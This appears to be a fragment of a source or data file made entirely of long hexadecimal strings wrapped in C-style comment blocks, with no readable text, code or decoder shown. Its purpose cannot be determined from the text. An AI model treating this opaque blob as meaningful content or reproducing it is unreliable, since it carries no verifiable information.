c9c586e6c1cf983dba4c19605528addc72314bb61f32684827bc34b444c8449612782f57984f7ee949c2cdf3ab1772b271817c8319d3d919ea29b5a12851df0723626467b94093ee49d561248223ab3d4df2c4d5d1d9f84981950ddac8433a108d2e5dde7397d31883d978bba95535fab9ff8a11c513c8eee60a163b242e72a79a5290ffe96a8b1169a9ff11b270634542be0396b4fcf8fc0c1acded6c304e25bd4bb15877df917446af95d185efd62e8e02769a802d1916ac60e42ab0e9a46d5eb3290254b57dfb623bd7f1be3e193e6346985dfa2e5754221537822db6f08957c3cc02b69e6dd34618503061534fbcbb5f92ae4e816325746c3a369fba4ce1c723ab082af983ca1fb9f772324e7e105f4a782da3d5a9563fba69b895065acc43235b540fd46f7fd803f0a3951f45bdb08dea701bb44c7cc35457ce73cdc4c5e1278402ded14224099987a249e0f7c3008280e8aa624ee57bc78895a57cdb8d87b6be7d867a73ab9155a128b18ef34efdc1a682140261babb59f44e8cfd7ce51e2f2b277e46e724aa816082e52cff5f983078a1a917e16f7705341c63e16b8e3f2f0ab3871fb626aa0287ecffab0802bffae1b217a222bdeb7f1ab917bfbf1ed869cffc8d0a21a394150417e1e2f2b6735b4eb4663431562bcff432c53de743bb6ebed78379888fe06944baf20a4f7f21468517827d88f8ca2d4bc6b073e4bfe654505d4d9d24220bd1c83b97b8ae4b29a94e04092c12cb72fe24405e3e1ac93d435c46aeb0f90a5944f2d2ba6aa83fd83e71a7ef297e93081a7add09db1f901ff6b85be0c7cc8176e1eaf445e860f1eb301e26018b83b6674f297370b6e77bbb82f461b65dfa84cb1044228bfb745c0efc99f16e07817720546b4ee16d577936d72574588d24730198b29430191393beacba4b7c605cafd8e55d42c1471c25e0b6fd72463ed3bdbf1477b855832546108f663413e18d371fcc4a8b42c630d66e2fb6dc43b0556b0e7f337af6041b61fe484327fd35b01381977cd7907d37f3ae4bf932a7a21db5b1df3d69239d5f3f8e9d3647cd02a676ac7a33cb5d792154473c248a80c8fa975946f60c5f90b635e28ba610868426a403436b84e32fe497f646628433248fe45ead7e07b1d5f98c8adef27c9f8a1b34c57971fe92fe8fdec8f246e793741a7976e7145184e63c72cc4a081d7a878174355fcc4970ac64d604116f12e42d1b9cd9d47d7a771a421c31de7353c1c816ad8e5c6488b40079a14d52acb7bdaa448ad34fa50c14ace7e1091c9496cac83308992baa93830eb67aab3680968419bdad04a8e3398e85b11c2baf4b7932e95df509b7aa0dbd1a9f879b3058aa8b98f685a7299da91e89cdc896baa8fd221552333c6a25656d3a3ae23023b29b06d09a65b140c08bd36530698acd2e323e1c795398c5746a36cd4572a674d85d713c8666ba311878952ba3cb237961b5fd3582606a4e553176f1d767bf521e502a19a656c3227dceb1bd1ef86ff42d4d7f8c33d7d5c978bbf8425a07b986b39fce311de949d107d15d94b68a2ff3d9745030646a30cf9e44584323707d27f64bcd621620eebcf57b19054dd58a7a63af293dbb9b878311d7fa9f3b7df9366ff783d346598f39cef120b242d654a5b49cae0cc306af172bd6f816f2d1deebd30cb0558e38caaab0123f26b7b910e1b2989ce5c7e936ec7d19ba649713426a7abc6693c62fb7eed384ed309541d68c6a5a0b3122bb1a0eea6235f10546919391efaa098ad03be56a4cac758e82e2a24e2c690cb9c1116761cdc19904d30875ef6ee97f04f7b06080877be7e18bb9c5251081999e9dbced3d95242bfb0794dafb569cb19be3887c7f491d362b97cd592952710bc19b71add64e1846f82c1e2a685dbb5db29a745c26e597cc56ff8e20cb34122565ce0718c22682ee11b7b3024bb39285cebfdcdc5fc073aeb939e9453b0ec9cfb216c9ea840c50dbb032a67e0bb51830c55f04b57d9fe0c45dcebcfc93b44583a88528688bd06342948efdb6849146500eaa432f10034de010f0c5533f1e3b1140c33a5a2fb541e14c08374423d0097ad790d737bd3d53a531135005b5f9f96*/
/*c703846fa8b8049fec1071d0811db87327adcf88e92ab0dcc8f438b7490dd7671d776bdc5cde51d2babb087b0223fac61df285e99d8944a6076d64722505465a3ecc71ad95dd93f509c7d6c4aff7d3e31acd05e91d701f41bd22036251be25f98ac7a3a095ec1c2f101497ca6a8ab37c37c83a4ba26f78bf93a2bf14026581a8df9a70b9f5cb24ea60174b9dbdd6fd615ce30b056a7f4a4047547d9d42f72d3bd55ae08962ea2a042e5b9ad893e6f81933fd2d1fc27d09b5c371d8896197d310bdfdd83b99d0aa980af00ac5d5b103e94d0ed3b992f96fc6fc6c272dfa2f6e8ce9ac272792ed52f7d9fcefa6b3f36f91d183e1c0dfc409bf951d541db3e4d82752157fea4847f95a184f8b03d47414e19dd2f8fecca6564b13e42c83afdc37299495227353cf798846fad6e192c8bb0478c80a2f478c8755e5d004f38a291069eaa50a271638b9bdbad1cd0239e581f12e31e69b06bb3866d3110a45ed34407e4cb9e54e2e57b54aeece647f1a39f642718a683d93567c9e52807123d434e3d058481634754a2080c3e78f4ea3da366918e9d44501f1e56b00c3d6a3f53eb4c655488943cd36afa26847549072e37ff911d71522a6ebba63f72cfc5c0238d09946d083ce12dfeceb8fb9a64060f735b7bd63d793503da074bc0abad02041578327b11bf04f982075d9be421b1f42324463d8755dbd8e1a154218bb6d0c4f8003cf51e809a3c8fcff2df322e76280112da642607eede31febb8a98f91d850cd298299701ec21b73413705f3a8d448478eed93f858a8946a68684ec0738b63f07371122eb0e498d062622ff361cdb35c5e789cc1027d8182d274743629c61885cddd50b773a7e8d212a941bd2e10b6f390ef8040fc56e407fc664ecd8de9dc1d715c41a01a64c32aef89cce8d8c07c5a45daa8e9c84974b3083cd67a77eaf40c98a0f59a46377c5c888efc4ca09a489d46d63dadd4064d6fef9d819dd8648a940a5d4a5a9495aef6ed1dbecfa7406b11f989cebdfa7ed38ba01f055dcbc3f59f97589de1f9f05bd5b28aaf53c9bde0535d6a21bf475712385c6e6e404864b664b19c16d401c0469d580954fbdcbded5b9b374b106e6113f6028b0a9d1c66c4cbd288cb82bd755e35650cbe96fdcdf183dc148357da05ce84187f5e49c3af7d967e7194f22673ad683101683467b94886498dce6f94aa52afd0df0b64335930e331e8f00d160852fe5348c2f70f26a3ec21afa5b0dd582add8eff12ec467c2df7e784f23882e09e490a09df5837a9c46943e59dbb5eb7953f78df2ac57c6542e849bfefe8283fe681fa3103c30e715c67a0be10883f76c0ef233aa8ee0debc4c30739f10a7abcbd683a950b0e4823af4999d0abd4a64e22f9d22d323ec0fc71d1d9479db69f1712b4bfd7153bf6f928c28e73d91bc4497c3deb7897828b8f66a16712a2938f8bdfceafe4f82d6096fd9cdfe4f81c8bf4a488c86028027f85de0f979148bee202c16c2f77c4de1ba246074967c4c4aaa69b729aac8508d04ffcd36d9c9d8c39e0b51808ef0cb0191eebf6637e089005ea51faef47ca2171b3fd064fe120ab00d40635696d0bd4a70f7f9b4ce395c6604900b520e73d2fca49397e0aa49b215b5abc699615608d7b6c8f1668530cfb5cc65a8a37f9045cc71bd9c82b5ac342120854fd3dad59f53cde88cd463c1c528bf9a69a66de412db76e4b162adeed92844dbfc7bfadbfcd5a8ffcb8931dcc7f037620d7028cc962331bb52a2fff63b31474be6a32169055130f557d1941e985cdaf8e2a07427ceae0cbee71945a0ac6ffffc2192064a8b2612518f22e998181d67ece5c8d1d7918ca648656dd36fc44fb716e54c7dff2721083bc33d0dc540ba0dc1989a9db71d9e387065e9cd2144ac754f838f52a205de03b812b6601e285cadb5e8e376f94ccb2013f75541451dd3b0e9ada550206f0b778e80d115df04e9d899c9cad230cd6d33af3a37b0c8140779a4eb3a13f909857d526a45f57da867b51fee5fa7d72c9d2f000772d2df543f5f4eacc35c77ad303d9e5dfce6ab60bce2e139c641dc720de841ceff85ac7adaee35009700b63f6c8b7ab724d5876070b63cad44460b9fe4573d5e5663d86d23e8aa5bd4670f3b79bd023efd59278ec103deb29211ad2f973841a15ef0d6c0bfbf3d92ee27d0408c891daea6e4d24870a2195c9b17f7f89af8c46392eee05b282e56f24b1875049225d64d04a7c93a50314f9a828f1ed943f4e222cc8055347bbfb42450a0784df7aa6d37d73eac607b657a6a483d135d5177c89e43ae0043ddfd394996972f597bf875c8ad6e3a3126d79b1679034ae67ae5ab682381ce44f32af4a4e3d9ce38e22fac71d882194fce99eecb25983f014141248e5cb266ab94ad01973aba6e9061af9d87ea4806a9885f32152a727147d9eab475786777d0ef6f6e82e0335694655372773fddd187cdd260ab56db31015fea8687b567ad4b16f1a0f3bcaad99312ea64bb167d0fa041968c456bcb4b060fffcbdd7044fc0d9b3ba9abf059d8a00c7f92cd8fc4f1d75f1b7a632a1f289c783a858730469d61312b08eef4c4f85960d2657afbd2792510520844872c136608374cbd6dbcba036db44fa36ea9bfe832bb0378230aab9ca01d808b4160afb0cdb36c8d1a26f37be5345eab602c5862c6b120954bf25fffac919c9f1f6b7952b7addc1a188f5060a42e0add6352da972c95c5afa08576ddda864f9ec6120d6a7bd17fb46e2d61f53df8ffbf4391331a4e44e1187110f26ee42047ee8ea8f29141044f4ebb0d78a8c49939ec35ef4d44d404bb5099e*/
/*7d0430d0bdf0ab7fcb21d8a4499d83e7c4deb498196d8e6ee8b642e8a1fdfc9a65504fe0813ebd6abc72274e40b9b9b0ff673bd7f0d4fce323862b696ee06a3a61063bf4ca9e1b64780c99d04704bdab0483519744b647ead8afc3c716c417e2424b06bab2b131eb0473d5dde095dec6fc04eef004acb07dcaab4b8611f32b7523be4523cc6d5ece753c4fdac91d5523ee2b5759f7c800c0f0da32d19d6240980e8b1eb25602d14a4eeae21446adc582786b80c02dcae19d29d041d6dad8d41a369633a979d3f1a6eefb1c2188eb5ac137bc88e96b9e685d16061fd5b4dd98bb95850effb289639933b47a9d09b35a7407fa0c709b866e8b8de905949ac0ae2bb1231c34544247e6f4cf96cce1c38ff5e4a7ecd4503012544a60c4b07737903af250b51ad2fa3c537428b3fdd2c8e8a3051135ba95ed97e58d5ab3a9c10491e91d4e71f855dabbc294a6624aa7807ebc3941c2cd844f1cfcfcd43ccf44bdf7d24810e3973cf0069e39b5895cf5964bf9a63d62870fb3be6ace65e86d267b549a4df57101d21d10fa20536d153ccd498858dfe7d4bea2e1dd068ecb86384942ba7ea28a8ff2b3b425ca291cb149450b72039f9b05faa208f18c28a62c7a121a550a634b918c6fe699337dc1d29aad93a40072187ab06f9c6fab728e593fb11a9cd9c50468eb364b9cadbf9ab0fe12f651661a48081ab83ffed64d4f1931aece024d8f75f98aee2dacbb5779e277271487eb0ce1490b5d1c11e094b297e542fa22cc2cc4fd266ef431a4d89fe569f7c34d470a99e241ebd777acba824319a2372fcc0cea4636b28007eb450d78077d245c0250181a9d541551ea152914c868bd8128896883a7bd81da2c678a299fcdc1a106cceb8c2c0fe778a721dd59138fb362d011d6e211e9e1c806291a8e8db3beacab9791aa3b6183ae7353609f8dd9d887b6c49d39fb049e7e073c26516f53f9915d6898fb7316547d9a9e8444aae9e63dbd6497b89fc454de217dda8e6d71f81084796083d42be596847fb11f91877ff2094a331af2bbb5483b2919a3c363bb0e8c40742521d80e5a5e03af2451978d5f32cfd1898f34e4869b19e00a190d4b70e119181ee1a8ef8dd27cf253429287ad180ce12fb4e5d0a2af925baec0e1759f6bb0108dbe858e641a325ac2adc8d5fbd362af2649ce9d6c8e92f97acf2cf838155d1782a99af0045635e84ba6ac7c8adddd8f312e43ae8c65b27e88b9a344eda81fb8c4d67b7680971fab2896ad2ceaca7d6b08a282ada60a971a7fac18138d847b6d418b04aa1bb47a747f5d3632a860151dfd02c9e831f6eca76960143c0899415c6c1c3b13743c5c078fbf26894df52a6e0e3f06c5c09c2b5af14c5d4502a2710f92d1f8ba11d4db5ee759952aa5027fa580e4bdf1c383ca0c688d012112c1435ad4d198333e8a13260c2fc86799a75a7bf9cf97e97c077225d52255e2f8a03b94ce89e27544b6239321761ad9c1e0ab86ab3443bccf2755816c23b8ababc13a5f40d8a1b3b094d8bf908c1099aa3c70649d82d64072e968bf492d5d0c58105cd40202a57228c0489d07b23a60b50a14e0a6e265013ecae83b1dce971004c83e3d84bcd93dadcf9b0234a423b0c5561906bda7565add42747d215e98fad6581add6d35e6894c180a15bbbd83ab2714608395f6a5d6b3a6368d4045732b4a4698d64a702176e2f87349f16b4ed554692da6b7c8bf5fff862962f232d942c372d63509ce43289a185fa8bb6bf6c70f25ebb972fab739b41546a46c2632743dd9cd8846ff1b7510430dae085ddd37ab0a1e4c26faf60c07f39cd482569c429b1151762f5ba35e13acba4bec3462bd1e2a66b92c93bd72b1ef850bfa04d92b376be2cef436e616c4e3d9c40b62b33281882a13b4adf20133252c2e066ddda36b626afb3683e9240719cc9a2d213d3a9be118a0a40f99e30b48b322874019571675a6c0014a1eeb6dbea82ed75f467e7daf419c3ceae2dc425065bff8dda037a9e5045c8f6f17543b54066dd45ab3d793de1d891d3fefd49359d698cc6132768871d420e5de52d937691e4fc4857d5941e7b510ec836a132d69af18e305535f1a8a545a87c51fbc07926b5f9b5c784bea59bd9f532a35f61e6ed95307a5f7246bf3ab313ad908c401aebff8d9df04a61327b15e1250f52d7e5096f1a78fa5aeb7aabb63a5dde40ab28bed35efa6ea43c3f088edfedd83728ea3932b9c93123e0059cfdef1dd6a794f6485837c1af019aa5ddda30dceb750d7f6ccacd29cf6f5718d7db7b865f7a5eb2db8a6be524ee9136bc09f6222c583cb3eb506f2d7a042a9dcc3cbe9c2ab45182a3f2c5bdb7dceb8198c01ecc05d0f7289600edff41e212bb1bff76383d6a15fa59054710c0f17ea0840af4a307cb65550ae2544707b738d4f6af7e7f7fc6b817f850d2a9d1d2c681f251fb5af4779996e0ad65c1787ce7c91c5b7928c1a2e829f49a501230924bfc5f749cb57da5fc28be8e7ebd2e83d09ba34590d7361c9c3390cd69059c7a1be058c79957340d7c1c15cbf1031db24aff2b06225bb09cb964f41ce38dc82f2aef1bf28532d142b4a5159055db6a8511b239a378ea00824d077b43692fd52cd08643b220eaeaad0d89719a4b28949042314f7bafe730f8a22bf99667c4c04203a32a978c67be81cfa8a916a325fc9ccf8c86c4c4f561e6bd0015daedab9feac431c0ccf345a41bd407a5ddc9099de8a372fda84fee942b495eccb947890376806a2919b543e7adbdb4903188b5665a0acd4a4a64f9a335e93ea8504bd65ba21fe8ab3c97b309b05e0c8f9b0b5501a0e77*/
/*da166b2a1a47935868fa57ca6a96ef86f88b6cc437ba1d5a7cd166a3caa4ce8b4d1b9c87875123ea4d5d16b5a0f1d2963dd39594db36d249705b17e23f23230c854be1f010dc6b047e2f5e12eacf6e7ab1a96e4666504a49c29ad700f9f9b99aca41b8b260bfcc214522760d2220ed84a3498892075fa70b5326c14591a82dc94e54cb6dd5f7f0171a16de1eb2001f31df6a595d68471a5b4ab9e5dbf48528f8c14f3a2d6a3f1df77009945a203c3df6b419ea2f0b6d059a18a66a75bca00bd0ae31567d07273bdccfccb43642b862d00b83783e62791aeecc6085ac63ec867b6a9273f4bb3d59333bb8ecf3b00b1015adee82d98490c6f548bcb34085f6fb2c2bfec410d05c04699d0d3f6251a8a63cae789aedb61687cc90dd03f2cd033b41210329d149dfac0f71df3182ab120ff4454c1683086b192b3f077ccc40c1d6e9e78336f1d345cb96b7c7be5b604e820ed8312e247566c7442be5dd4c9b3176d0282cf277e430df99c24119447fafbd127607f358c520f9cc67a25d58662d4ae3767b9e507e32d0e0300866e69d75bac44c8fb1b031b6e1c2d4cf1bfbd9782dc608c65175ee82a7ccd34901edf41fba7828a143bf862c2777d48ab25f4665fbd21fa21c9d202be311b0cd29b75aff088c554893c49fe22e9538b9a90ef4b114cee013de1a51dbfe72e475f958acf28b1197b14657d42008fdc7feb6844ec5fc83846327d7eb204040503ab571e144b1d95f510f3347de13786ca4fd9b9ca3f1af865e8e3c02c146dad6758b4be936aafcf605a5e34d3d17230d69c8199ec955713d1a3747746d65d357b7dbcec376dcbdc2c039422acc3062447c4afc4ce96437a3e605315b49b0fb8f42ad834a663704ab38a93d4a19f1ee62ad08b7c349248ba659111bceef66715c67d2a0a28ef67c564916bc5a7070b7dd149c16f9268c2e38ddd81543b337023a8d0f9e5674d8f359f306ad203121f288913483fc88519434fff5ea6e02f463b2b8ef0e206c4d9107e6d2451d3d64c8ca9f069466a5d72ab446f227c92ee480ebe5df8dd20ef96f3cd7762641dc935210755dee69e8ca2c6d5f30c268909d5c79e81f6bae2e98e2cddcbc6e2f60cc6ded57845618c8b906e967d76ce9f6b10db4d53becc137df96a2abd43f9517ee24d3c95fcfd6fac169af47fd38df107b1393e2ead3b2b8c47bd99d45ecefceb087db48516923e91d9aeb6d083ccf1d927cb1fae27a7f9f73e4333137b3ec10d5b805c3f8678d7ba5dffeb8728ba6742b189a6d403fa17721e96458c805816cda28b6537097045bad649a1d68689b3cec81e9eb6cf0014e7bc234b9521ce03d3b7d8419a4e0d7079029504675446d02342a552dd3bc2a787af459dec0d79123e4d96015fc11673c3b0ddafc5f9d7e7e467b1bada7f38ef5b4a5ad004f1822a1de61fbe3b8f3af23b0997bfa6a771b656edb9dbd2becaad69ff991b725c95fd2900ac88ce2c6d09c3d4e1b488b3054559263ee825b33f35fbcfb1944202a2ee11368fa7d2525e4e26c9c150e6883829de0e829b1f5857b310f3558508b16aa9999ddd40483b24b6a4b93e4be5eb7fc8542d1b78eccd22fbee0bcacea3c9fc6fc276f39c8268f27957ef3861d9ed10cfe2aee88fedf9b89ad5bbd68eb17bccdfd0389e56ca3ce496a73efbb6c12f27b41d33226dd143a028dcd78cd77382a3ef54696da1e94353c9e05788d04721191e4e6fc0364161e2872426d969f8d156dfeb0f8188a625c3f5c84fb2985cd70d3b640b41c644beae892dcac9df68cde598581383ecc95ab54c2c11d1e0f5e83576607e4cc26c7e9375308d3995fae0c4211f39e57a0f6b007329ac3d0441dd8e7d85c35e603a90b6f4d832deaa5ddce4ba1bf922aff455ef4b65b57346d776d277e520048cfc241f42df25d0adc38cf65f0f29bcf142a5eee8cc09b86ba16a8d49102213efd7181e545053459955073247df3bb3b9785d8d84dc8068fab3658985b3dbc6fa5810643d4f56b70384634e3d8ae5e11ff23bc8481e9d2151e70f53a6a91fa0eaaf497ba25090b6ffeb35bcdac412df3f4343b717a80781ff97b0ec21b9c757af5ece709612e9d1f352437c2271cb05415bd460e48dbf6f3b12178610edc8ca68e64f22360a8b8cc1cadd514a80dbd0ca4b7b0c28e34a9be526a668911d886562e16c30edf106985e33ce272f34c2f88c7c8eccbf7e2c5b531c06011e6d1a5e3f723f452b6f4b47a42d83cf69e89140a515ff9a5d302ba4eb3428b30f91d73d4b5e2250445657bcf13dfd81447b36b094ffa9975c3258ee4d2d431f08be2425d418c423ebbb62ec0cf37d7ba1331435a58a0f8ad74e6286dc99b76b1cf00090bfa84b02a5ac55f94d35fe2b93f3c3e869fc0e29acb78e227495d5fa97f253a5749c5455d44451a18c7b61f70972ab0493cb2a2d2bd20c0fd49d358275d27f5ce14d197597fab0dd596aa04feaff708bbf59705d31ae29e6cb4a1488db387b90b55b16daaf8f995d8844c44ae4cc8c9dbbaa3bf49447b7c73ce23f6d12bb98bd6f9e6eab125f52ea849c7c8383cf0252bed83d48263f96e84fab31a10922b0f2f0a70f79dc88ee23cd7b06362d41a75b3b122d50df2a4022d27061d8bbfe119a462ee15f715d94d3e0cffdbda3a97e4fddf1b845e0076f5026ec1bf657474f54997231b8c5449fe3227836404043fc99274d20451cfdcfefdd55846d95c35812e8d25be2a586b597bd057f25740254d3bf3b26a97cd1d8256b95b25d49ccb6834c4e66b289495e57f27350c02340356f7ac694ae5bc1ba143103f6beaa455b6482b619dd240c90f*/
/*e53d5bae6cd0d427a70b5a22ee202167d5ffb3da18c83482f5ad1c6e57071705784ba858416ffac5ec90f71871f4dc6e1628c6e346fd7e1da36a73b8834c4375ae42b2b322c538921382a7e477b64ca8fd1930e1382b78ad9d1f52d89ee8901303e37414df009ad42350f5014c6401d7bc1b9e1363b622b135518d397f39a854af7fab06dffb6573fcc2d2a02ed607edb8f6af6089fa389cea59ee6d51dd2dea6372db73699e7f50dd852195c457ffa7e0f32a4323fba4b791b3bb0cd4d27b17b2fbc17af3e7e2f8e02e3a4870c2f6cfa6a30eed14858d54603d81e1786eb090d814fda273bbe2640baed2de64ae3941e48bbcb61abb6bb2f3cfce9b64853d69d1379ddab0610ec294475272b3bd55cd8c9ad573cc8e0b1a9c5bea68ece1e484c8d68710b40c8dcd25131b952a14cbf59fabf53d76b96a307d0512475f9265929e4b3a2c6942708330f380ea9332836517492f7d36a4c166943c18e5f88db5091583971d37e43b24558325cc2da71954570bc723915332058d60cb30d38fb964c0783639d4d8094fc9cad1edc7fc6c169dbc85b8c3fbee3ba86e97f5936c7f0ea172b9ecfce7b4e98ae36bb39de7fc2a3e99c0b6fb04519b0e0e30624523f823965596e3fdd466709f4d8482bfa90731d2ffb2b2abca452dc269ab9b59c48e96db7c47d696c96bbb237ef094bafa726f6edad54d04bfc11bbaded5a70cf5417c891909ebc8e8065e6ec516dc8e1d6c49364f951d20bc76861b752473d1896af9eb496314f71a7ddd6dd9d7adb2bd1dd90e2e5f606bd7a9cba90ca036a37a61f1c4892c6cb505129ebdbc3fc1d8f3015a6ca63615f9cae759c0a85289de9d681a6786bc8c2256f1637346d85bc522d25742addc6a9b09c189ecbbd30e08e2e0100d392e197d5e692b2441e5cafa0e34be9dff8fdf76c18af1daf7fc40e5b45bf0c841587095a18cb33316bb7f1253952cca2264b6346ff1c98bbdd09113b252d334eb6106792c75f5672850706616acb13ff247c0a21587d3c944a7d9de5f606d7048aa3ee4a1bc4ac296313801e7b4da1d5f53c6e41ccb100372d6a7bdb524299e3408ce3911b6e2a918ec1a6b7700de09f2cf5a4679cc2950f58ca63ef39da11970556ac363d566b30fcc5373aa6ecdba7fd5297132872099a8a49b0398e66f35913f4434c9e5285db4757c29d13c3818e122ec73792729e48e425dbde76d85f56758667c9175ed04497bb9db05fd60ebf6f7cda1eda57e10ffe3805c0d0b6d6b3be95d99f87c31060a89e3088ea54d801970499d0046b23a4a6ea14a29d0516eae672e80e1f9a161d8b7385348718defd9336fa7d0d0c5fa07e4a0660622b5ecb627100544677543e8b633b40335aad8adac29061696a9e59b8197437ccf53b2567ed13eaaf321a90f9b27a9e8007654b1d2340202d44cb70e32d2e0ad1fb53921a8c09e765fd439c76e4fdc64c6a9a1e3b3a88f8ef091d56a7c2dfe154052ad5542d7e2af11d2c70d87c3f1678121806d72a11d33913622f16e043d58aabe7e35558e727af35887db249aef4b216ed2062fd4f32c0fb2ae685d8aa96017d761600f2900a946ccabae70c5898ce9b05965abb7bb9ad24c1973b480da3a9963e6fb5a1272c00a5cb219885a3d3ba2c73d9955bf4f27c5215434079c1976319af0e51b95fa04714adb4d50486ecdddc0c17e7431c581b2365daa7d81cefee3f5e9dfa9076227d76033d3232b417f27ee364edfe898845c3d7b8b7b52d67d0f2d0528e70d1bfd48d0d25a83065d622ebf3ff5df0b6a9813a48e6a2b39d0390500a216009a1b3467dd725c64d4a390f160fed32708ca2904867d8921b95b3a96bb3d848c3b0c94dc3a2290ca85bdc9f8634a0103258406ebdb32669781ac8212b57a37d94f7682c827e967e99667254cddbea4fa4cf6076f0991f083bf36ad775aceb653730cfd6b9202c8c63d6701c1a9adcf0cfdb2ee4b63079a7a61d3226f8e2f4c5c21926b5d53d270df14d39c0f6855a6eb30f710d1d9c11c08adf764a1521dee04804e9298f17c3a34a69d450654ee1b56f2762a5b7cb22b14039e532e62c37da7563eb60c0fb704ae864d9a67f3c19e10049e5a860b0638476a036185747ba2fd7dfbd9bd71bdb44ea2c21772536ed50c2222d651b114925e6f8626bbe8ce4bfd811ac77cde8248a4c7a0acbfb7ae5ca4c2893d6b12d1dec57e7e85962e7d97a29439eb3621e96045d2fb541a6a2cbbc9799616c04aec39271fea7d54256b869dc362d95bea013114d96291a7c06f44e3a75fa5180e957739c9c0f941ed28c5879f5aff17aa3fdde03ec60c356ad5df0ccbd954e2a5dfd5a8454b589271197c563af59527b6b6134761ca133e8910538e99e41c937be892536558292f88062f020b7dc93fbc4437a83fcdb4cf3fe1019a685feea8e25ed7e2c6e4365ed244c66826a6c6f03ee91fb16c185a8779ad15391f8a624e848e5ed27469e040cd135ca87f5c6b5c8b18c56405564e4ed48b3293b1cc8452cfc58c07f80d5cc363ec7e54bd4bd1786c466dd5e02d285957e812b63cfd344d372f8c358782c50239d13cd520a4b47f27836ddbd0a77b021811ae90f2c911e5570ba46b4813fbfa6fa63161cc18ed92f547092b4a428b0884596c116723af47de263a0d303dbe807ce8babbab5514ac646f1df43f39f5815bb1a9d93983975b252f74fa0dd752eed4134835f65aecf37f578ec04de5807eef5724e5d94496400239df4d884a7d46f91f505135a2d2effb303f6f86a59418a3b5466a1e01860022bdef1ee5dcfd06ae73eeb4b490943c93275b75a13bb43325*/
/*7e6144a5e8503035f4f8ae3b429e3bf758b8688b62b705545579ff825ece2d2ecdf19bcc5a9a3eec0fa83639e403eb449782fc569a6e764c03f2352d75524f0db8e16a2431e3096f5dee09f853bcc85890402c40c4814a7b5eb9f1e5cc53a2ff824c70bfe2e59a242abb21d0c45fd5d9c129c5c3c8b474c03939d9b4fe016f0e1aedc232122060722eb4fd98e4a8083730f97d8fd019ecc7d0d83f0143630dcbdfd39c2670079470a6f5c176c31a2d1907514a506533ce829c4d5bef76d76b16d70a928a8d444f63f892f3f17f8ce79c14440c90fa557a9f14b8e36e5dbe75e98af06b2bd31528875b5e193529e94c10b013b0af76155f7802a43c0d20cb36a052a489ad313c3c5fbeec6abd88d80116fd83d66a98c18e328a9ac104c4550dee2e502aaa93d56966acfe5f3d4f618e28d8498ee81c4d97ceb2b0839452b8ab127c2e0b8119c176308f8e7fe8b3889e271cca155289fb0adda8e4aba2825da8a3a511b9808bdc26d4eafef8e6152df8cac844a98a69f81e5d9f90aae92605945ea57c9b72abdce9f16531f1fd65d4abe7ac7c32adfff600da1eec057f74f515874b6747a8a947bb5c49e90cc6cc522f91d803ea4243b8a88c22e6abd7db589b09a7d828d1e2b909ed4664c8b340e69309b9d7098692fe0ebcb53cc667e39da8a38b1a7b7f45f760437066e0dbb96db21657f3fae07f018fd01255f6a0b68c111ba8109a81589af72364a2d1bc216b3d47a7f49a41b8e664b4641e0b71b3359788ed0303974e0946fdbd488161a96f38360193dd7ef94511fd73d410806d909846dab024ae61b1439a217c27469c0f6d11561bbc9082eb4be18122ad802d95ecf468b3b232e03920e2b44e9bec61d209f189557aee1cec97eff1ae5bb161dcf14b110066dbf1a0e9c28d81bec11f6d88c11c75535f69ebe7e5ff4a40256246d6e043a2be1d2de2854d2fdb8fec43a9ef4b6b481ab29ce6218968279673846381d35728558ad2dc54093582887086bd241f7a3602d12bd98c3201380cb81c4489164c33220a9faa3f1afffcbf7ef5de884b09cc44e4c0f2a4969da6460e6c84587948b089e2c39c2351ee664d5d01e65cb0cfa0bb72ab40d0f410ae2ea2359c5057c857170d286431269d64f9a43c000dae976ca4b3db98a57c5015cbbb271d15d19def173681f500dfb57b6535b3056585aae5d1e7026238d7ee8e19fa49a69791256f5eb15ef6455ddd224bff5ca462fe6bd4b675cf9fe9be3a3ee66a1bda170ad12c2b3f90d4e547659430666385c8d6981304f45abec1aae87c20841abab5a1425c7a82587d696fabdbd9448fc649a108015668128824ed1deddc4666f629ddbaba54559daa03f915873a431b87ea964085a241c9f45e7e21bb40f2dc983f97a8f8070454d79665924bcbba73e6b47750ae46ff5f1ee1b5f5911969c1674f798bd8cb1088ff775bad2c63ddc8e9bfd9941c13806294139229737fd71ac260c1c04610a024c7f235d2a5cc5f2bb9143b78de0a46e94759aa4e95d0a9818e6dac911fb193bb38355da5b20dce4964b29807380e362d311195507335142769247b7346e419f2c96a5a4dbbcefa9c3f88942c0fa1355edeef6f9695aaf1206f3c8209e7b4e66af885e5bdb99641ae1307ab9c4a74bce0e181ce50a6aed2e137f840605db2bd6a4278d277ecfb0e7ad40c31d1122ea5916984a079c01f147b7b23b11970fe39477e96cfb497ec18982247ce4331725d995d94bcfaa3f25ecd5dab45a8dfe2a6d2d21fb9c882a9c335dc57ee3917682338fbccb90609972060acc53bd316c86a62f3a91abb76de56fa98f56937e46f1f5d0456676daed97e0d0c5755f869712816984edf459ef1da6f0bd937132a99db6e205f88ccd788c14f7d6da58162700bbdc53e0ff317e634e90dec6b146d0a73d2db2e1b4495e1f2e1f3af80125b91a6f00f5d8509eb1e1d971b8f8184adf3aaa8514181bba59d233d5765356fe87caa91066329a9e06470dc851116f1da06cdf18378792671470b30f39696d2c66fb47d6af53e135bb78c73661e127aad326c0c52a689978402757fd77fc33c7053f85e831105c14edf0427ab5e23956164e0b1adfcabb70f404a80d45ff5666557ccf7c704a0f67af972eaf7236023b2fe4afcb7d611b549c33d502b2b15eb20fb4463f48fe3b165bc63bd9d198fdefc67f46f3e55e10be641174cc0dd7c979ad3507b18140de6917155d158cc33636d929f8a29f8b57b0d004e4ef5f35b5356450e57b3b30fb6f1189d10fae7287ba2c36d356c3a314a7e55f434091857fb772974caa5983b5ba0bc42793639aa769519ff5b3d5993b7961251171e11d98fb42d75631ee27c9ac6f0573f5d61ccbfd2cc465cf46e9d90191d83e6a221cb7a968874f0c59c951482e4f67e1e45616e93561836d5d7da64b83dce9000d5e5cfd3e977f87104565330387cb3c03b3be285e3b48ae15c698249b6099c230f6b1e476bcd3307ac225e5a55ea112ae7b391ca379db2539464ba38e57c92eb84769275704fb7ffe5e9293a4f31f667c6464e1e92b35b4a76b3017d2ae8c5c608681abe5b538d0e70d5d85c9b0cea1802068ceb2aec17f30d5519fd80e480688dce0feeb1fb9816b5f144da7d0b495b886845b9754aa9d6e7f7aa7a80d72037aa6b42124c083074dd8b9b9f05ba400b473bbc918b18b9d65092da180d39749ac1889158001b679ccf873f73ce8b3a5fb855075e96bca1d57e3ffd4da21a34648724bfc0e291ac307b158e20fbf6b6d28e8303768b1c5dd348a81b2fd79639a2666b22256c6f2b39f22ee056576c996cffda*/
